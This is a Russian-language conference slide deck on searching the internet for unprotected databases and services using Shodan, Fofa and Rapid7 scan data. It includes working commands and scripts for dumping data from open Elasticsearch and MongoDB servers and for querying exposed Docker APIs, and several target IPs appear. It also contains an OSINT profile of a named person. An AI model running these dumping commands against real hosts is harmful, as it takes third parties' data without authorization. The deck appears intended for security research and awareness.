Вы находитесь на странице: 1из 38

Глобальный поиск

незащищенных
ресурсов, баз данных.

Андрей Схоменко
andrew.foma@protonmail.com
Telegram: @AndrewFoma
О чем доклад(тезисами)
Откуда проблема с незащищенными ресурсами:

• Уровень развития технологий таков, что развернуть базу данных


или другой сетевой сервис - в «один click». Например, с
помощью Docker, облачных сервисов и технологий;
• Проблема «startup»-а, смешивают dev. и prod.;
• Человеческий фактор.

Почему важно:
1. Репутационный и финансовый ущерб собственнику;
2. Персональные данные пользователей;
3. Коммерческая и иная, охраняемая законом информация;
4. Компрометация ресурса.

Кто и зачем ищет:


• Профессиональная деятельность:
Bob Diachenko, twitter.com/mayhemdayone.
Troy Hunt, twitter.com/troyhunt, haveibeenpwned.com
Telegram канал: «Утечки информации»;
• Хобби;
• Злоумышленники;
• Хайп.
Определимся с терминами

Незащищенные ресурсы:

Сервисы баз данных: MongoDB, Elasticsearch, Cassandra,


ClickHouse, CouchDB и другие без авторизации и
аутентификации
Сетевые сервисы: NFS, Samba, ftp, etcd, Docker API и другие
сервисы(ex. с паролями по умолчанию или без таковых)
Инструменты, источники данных:

Специализированные сервисы:
1. Shodan.io
2. Censys.io
3. Binaryedge.io
4. Zoomeye.org
5. Fofa.so
6. Lampyre.io
Самостоятельно:
1. Zmap - zmap.io
2. masscan
3. что-нибудь своё
Инструменты, источники данных (примеры):
Shodan: product:mongodb all:"metrics" country:us

https://snippets.shodan.io/tag/shodan
Инструменты, источники данных (примеры):
Fofa: protocol==mongodb
Инструменты, источники данных (примеры):

Robo 3T. База данных Jam – доступна. В _User – 203 записи


Инструменты, источники данных (примеры):

Запрос в
Lampyre.io на
сертификат и
домены

Screenshot
страницы ресурса

Мобильное приложение,
автор: Dmitryi Titiev
Дисклеймер, минутка офтопа. OSINT - найти автора

Молниеносный гуглинг по автору и наименованиям ресурсов:

1. Статья: Почему нужно хакнуть привычную систему


распространения контента (https://vc.ru/media/43151-pochemu-nuzhno-haknut-
privychnuyu-sistemu-rasprostraneniya-kontenta)
По тексту:
1. JAMfabric, где JAM - Just Autonomous Media
2. Telegram:@titiev
3. Ссылка на уже известное приложение

2. Автор социально ответственный (вроде бы)


Создал петицию на www.change.org Фото автора
«Жаров - дилетант. Остановите его!»
(https://www.change.org/p/правительство-россии-жаров-дилетант-
позорящий-россию-остановите-его)

Титиев Дмитрий - основатель ресурса JamFabric,


приостановившего работу при причине блокировки
сервисов Amazon.
Окончание минутки офтопа – как ранее указывалось Автор подмигивает
IP:82.202.228.66 c базой – в российском SELECTEL. своим пользователям
База никогда не была в Amazon (из Shodan).
Инструменты, источники данных (что-нибудь своё):

От создателей Metasploit - The world’s most used


penetration testing framework – компании Rapid7
Project Sonar
Open Data
opendata.rapid7.com
Datasets: 13 Files: 9,989 Total size: 23.5 TB

SSL Certificates HTTPS GET Responses


Forward DNS (FDNS) More SSL Certificates (non-443)
Reverse DNS (RDNS) Forward DNS (FDNS) -- ANY 2014-2017
HTTP GET Responses Reverse DNS (RDNS) -- 2013-2017
National Exposure Scans

UDP Scans
TCP Scans
Инструменты, источники данных (Project Sonar Rapid7):
TCP Scans
2019-04-03-1554275005-http_get_9200.csv.gz 52.8 MB April 3, 2019
lines: 4 416 769
['timestamp_ts', 'saddr', 'sport', 'daddr', 'dport', 'ipid', 'ttl']
['1554275014', '35.241.0.80', '9200', '71.6.233.53', '9200', '13004', '122']
['1554275014', '35.212.184.47', '9200', '71.6.233.40', '9200', '54590', '122']
['1554275014', '170.104.152.164', '9200', '71.6.233.7', '9200', '27906', '242']
['1554275014', '132.190.101.218', '9200', '71.6.233.65', '9200', '3868', '243']
['1554275014', '216.169.132.13', '9200', '71.6.233.106', '9200', '0', '53']
['1554275014', '103.198.190.122', '9200', '71.6.233.109', '9200', '54321', '248’]
……………….
DB:Elasticsearch
Explore
Инструменты, источники данных (Project Sonar Rapid7):

Граф: 2 IP, всего 259 Индексов, в одном из – 63 млн. документов


Инструменты, источники данных (Project Sonar Rapid7):

Граф: 2 IP, всего 259 Индексов, в одном из – 63 млн. документов


Документ: Инструменты, источники данных (Project Sonar Rapid7):
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Cassandra. Результат запроса к Shodan, product:cassandra, 400 IP.
Ответ получен от 191 IP.
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Cassandra. Client Datastax DevCenter
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Elasticsearch и «Недвижимость Казани»
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Elasticsearch и «Недвижимость Казани»
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch

– 323 млн.
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch

– 323 млн.
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Незащищенные сервисы и базы: Cassandra, ClickHouse,
Elasticsearch
Незащищенные сервисы и базы: Docker API, NFS, Etc

1. Shodan query: product:docker


https://docs.docker.com/develop/sdk/
Docker API

http://47.98.167.96:2375/containers/json
или
1. docker -H 47.98.167.96:2375 ps –a
b46afc9bfc81 mysql
"docker-entrypoint..." 6 weeks ago Up 3 hours
0.0.0.0:3306->3306/tcp, 33060/tcp mysql
2. http://47.98.167.96:2375/containers/b46afc9bfc81/json
Как «уносить» …
Elasticsearch

1. github.com/taskrabbit/elasticsearch-dump
Docker image: docker pull taskrabbit/elasticsearch-dump
docker run --rm -ti -v /dump:/tmp taskrabbit/elasticsearch-dump --
input=http://130.245.169.64:80/ip-resolution --output=/tmp/ip-resolution.json --
type=data --fileSize=2mb

2. Python, и тут просто:


import elasticsearch
es = elasticsearch.Elasticsearch([{"host": server_ip, "port": port}])
results = elasticsearch.helpers.scan(es,
index=INDEX,
preserve_order=True,
query={"query": {"match_all": {}}})

И итерация по results
Как «уносить» …
MongoDB
1.
#!/bin/bash

mongohost=$1
dump_path=$2
mongo_version=`mongo --eval "db.version()" $mongohost | tail -1`

echo $mongo_version

version_regexp="^[0-9]\.[0-9]\.[0-9]+$"

if [[ $mongo_version =~ $version_regexp ]];


then
echo "Version $mongo_version seems ok"
mongodump_version=`echo $mongo_version | cut -d. -f '1 2' `
mongodump_cmd="docker run --rm -v $dump_path:/workdir/ -w /workdir/
mongo:$mongodump_version mongodump -h $mongohost"
echo $mongodump_cmd
$mongodump_cmd
fi
./get_mongodb.sh 138.197.105.xx:27017 /var/data/mongodb/138_197_105_xx/
2. Python…
Читаем логи незащищенной MongoDB или как найти «своих
коллег по опасному бизнесу»(с)
Читаем логи незащищенной MongoDB или как найти «своих
коллег по опасному бизнесу»(с)
Читаем логи незащищенной MongoDB или как найти «своих
коллег по опасному бизнесу»(с)
Читаем логи незащищенной MongoDB или как найти «своих
коллег по опасному бизнесу»(с)
Читаем логи незащищенной MongoDB или как найти «своих
коллег по опасному бизнесу»(с)
Как нашли «собственников» базы данных пациентов
подмосковной скорой помощи
1. 144.76.147.188 24940 HETZNER-AS,
DE
2. 176.9.53.58 24940 HETZNER-AS, DE
3. 185.117.119.210 51765 CREANOVA-AS
Oy Creanova Hosting Solutions Ltd., FI
4. 37.232.138.13 12714 TI-AS Moscow,
Russia, RU
5. 52.5.26.69 14618 AMAZON-AES —
Amazon.com, Inc., US
6. 83.219.136.55 31214 TIS-DIALOG-AS,
RU
7. 90.154.71.184 42610 NCNET-AS, RU
8. 91.202.128.2 13032 AS13032, UA
9. 95.46.8.44 48666 AS-MAROSNET
Moscow, Russia, RU
https://habr.com/ru/users/ashotog/
Ashot Oganesyan
Исследователь,
технический директор
DeviceLock
Как нашли «собственников» базы данных пациентов
подмосковной скорой помощи
Как нашли «собственников» базы данных пациентов
подмосковной скорой помощи
Как нашли «собственников» базы данных пациентов
подмосковной скорой помощи
Андрей Схоменко
andrew.foma@protonmail.com
Telegram: @AndrewFoma